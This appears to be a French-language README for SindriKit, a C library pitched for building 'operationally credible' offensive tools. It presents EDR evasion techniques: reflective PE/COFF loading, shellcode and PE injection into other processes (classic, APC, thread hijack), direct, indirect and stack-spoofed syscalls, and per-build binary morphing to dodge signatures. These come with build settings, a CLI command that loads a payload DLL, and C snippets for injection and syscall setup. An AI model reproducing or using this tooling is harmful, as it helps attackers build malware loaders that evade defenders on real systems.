
Une bibliothèque C fondamentale pour la construction de capacités offensives opérationnellement crédibles
Le développement offensif mérite une meilleure architecture.
Une bibliothèque C pour construire des capacités offensives.
La plupart des utilitaires offensifs codent en dur leurs mécanismes d'exécution au sein de la logique de la technique. Un loader réflexif ne se contente pas de mapper une image ; il la mappe en utilisant une chaîne spécifique et codée en dur d'appels VirtualAlloc ou NTAPI natifs. Lorsqu'un EDR commence à surveiller cette chaîne spécifique, vous êtes contraint de réécrire l'outil entier.
SindriKit résout ce problème en imposant une séparation des responsabilités via des tables d'abstraction d'interface :
En déplaçant les mécanismes d'exécution vers des pointeurs de fonction à l'exécution, vous pouvez remplacer toute votre stratégie, passant des appels Win32 aux syscalls directs bruts, avec une seule ligne de code — sans modifier la logique d'exécution de votre payload.
snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) sans toucher à la logique de la technique.snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) avec une chaîne de priorité, découplés des invokers : direct, indirect (gadget NTDLL), ou spoofé (spoofing dynamique de pile d'appels Fat-Frame).snd_status_t — un code facility/local compacté plus l'erreur OS capturée, avec des chaînes de contexte qui disparaissent à la compilation dans le tier silencieux.SND_MORPH. Génère des signatures binaires uniques à chaque build en injectant des prédicats opaques volatils dans le code C, des math/NOPs fonctionnellement équivalents dans les stubs Assembly, et en brouillant la disposition mémoire des structures principales.SND_CRTLESS vont plus loin avec /NODEFAULTLIB, aucun en-tête SDK, un frontend PEB, et uniquement des backends natifs.Le dépôt fournit un unique CLI unified qui exerce chaque profil :
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified prend en charge load pe|coff, inject classic|apc|hijack (shell, PE, COFF), et hg, chacun via --win/--nt/--sys. Voir Exemples & PoCs et Prise en main.
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Seulement deux lignes pour que votre outil hérite de toutes les capacités de SindriKit : parsing PE et COFF, chargement réflexif, syscalls en cascade, et profils d'injection.
┌────────────────────────────────────────────────────────────────────────────┐
│ TOUTE INTENTION OFFENSIVE │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ COUCHE D'ABSTRACTION D'API SINDRIKIT │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Profil Win32 │ Profil natif │ Apportez votre mécanique │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotique │
│ LoadLibraryA │ PEB Walk + EAT │ Fonctions définies par l'opérateur │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
En pratique, cela signifie que chaque domaine suit le même contrat :
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit traite la résolution des syscalls comme une mécanique injectable, empilant les stratégies par ordre de priorité. Le moteur passe à la suivante jusqu'à ce que l'une réussisse :
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);